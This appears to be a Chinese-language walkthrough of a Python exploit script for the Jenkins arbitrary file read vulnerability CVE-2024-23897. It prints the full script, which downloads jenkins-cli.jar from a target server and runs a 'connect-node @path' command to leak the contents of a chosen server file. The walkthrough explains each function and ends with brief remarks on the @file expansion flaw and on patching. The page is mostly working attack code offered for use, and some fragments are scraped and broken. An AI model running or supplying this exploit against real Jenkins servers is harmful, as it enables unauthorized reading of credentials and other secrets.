
参数 ip、puerto、ruta

exploit 的输出

帮助面板
以下是代码的 Markdown 格式说明:
此脚本旨在利用 Jenkins 中的特定漏洞(CVE-2024-23897)。它允许从 Jenkins 服务器下载 JAR 文件并执行 payload 以连接 Jenkins 节点。下面解释代码的每个部分:
import argparse
import requests
import os
import subprocess
import sys
argparse:用于处理命令行参数。requests:用于发起 HTTP 请求。os:用于与操作系统交互。subprocess:用于执行系统命令。sys:用于与 Python 解释器交互。bannerdef banner():
"""
打印工具装饰性横幅。
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
此函数在脚本开始时打印一个装饰性横幅。
descargar_jardef descargar_jar(ip, puerto):
"""
从指定的 Jenkins 服务器下载 jenkins-cli.jar 文件。
参数:
ip (str):Jenkins 服务器的 IP 地址。
puerto (str):Jenkins 服务器的端口。
返回:
bool:下载成功返回 True,否则返回 False。
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] 无法下载文件。状态码:{response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] 请求出错:{errorhttp}")
return False
此函数从指定的 Jenkins 服务器(由 IP 和端口指定)下载 jenkins-cli.jar 文件。如果下载成功,则将文件保存到本地系统并返回 True;否则返回 False。
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
执行 payload 以连接 Jenkins 节点。
参数:
ip (str):Jenkins 服务器的 IP 地址。
puerto (str):Jenkins 服务器的端口。
ruta (str):要读取文件的路径。
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] 尝试连接节点时出错:{error_payload}\n")
此函数执行一条命令以使用 jenkins-cli.jar 文件连接 Jenkins 节点。执行命令后,删除 JAR 文件。如果执行出错,则显示错误信息。
maindef main():
"""
主函数,解析参数并执行相应函数。
"""
parser = argparse.ArgumentParser(description="\n[+] 用于利用 CVE-2024-23897 的 Exploit\n")
parser.add_argument("ip", type=str, help="\n[+] Jenkins 服务器的 IP 地址\n")
parser.add_argument("puerto", type=str, help="\n[+] Jenkins 服务器的端口\n")
parser.add_argument("ruta", type=str, help="\n[+] 要读取文件的路径\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
脚本的主函数:
ip、puerto、ruta)。banner 函数打印横幅。descargar_jar 函数下载 JAR 文件。attack_payload 函数执行 payload;否则以退出码 1 结束脚本。if __name__ == '__main__':
main()
此块确保仅当脚本直接运行时才执行 main 函数,而非作为模块导入时。
此脚本是一个用于利用 Jenkins 漏洞的工具。它从 Jenkins 服务器下载 JAR 文件,并使用该文件执行连接 Jenkins 节点的 payload。所需的参数(ip、puerto、ruta)通过命令行提供。
以下是所需的库列表及对应的 pip install 命令:
argparse:此库包含在 Python 标准库中,无需安装。
requests:用于发起 HTTP 请求。
pip install requests
os:此库包含在 Python 标准库中,无需安装。
subprocess:此库包含在 Python 标准库中,无需安装。
sys:此库包含在 Python 标准库中,无需安装。
pip install requests
@/ruta/del/archivo 的 CLI 命令。@/ruta/del/archivo 解释并用指定文件的内容替换该参数。更新并正确配置 Jenkins 对于保护系统免受此漏洞侵害至关重要。
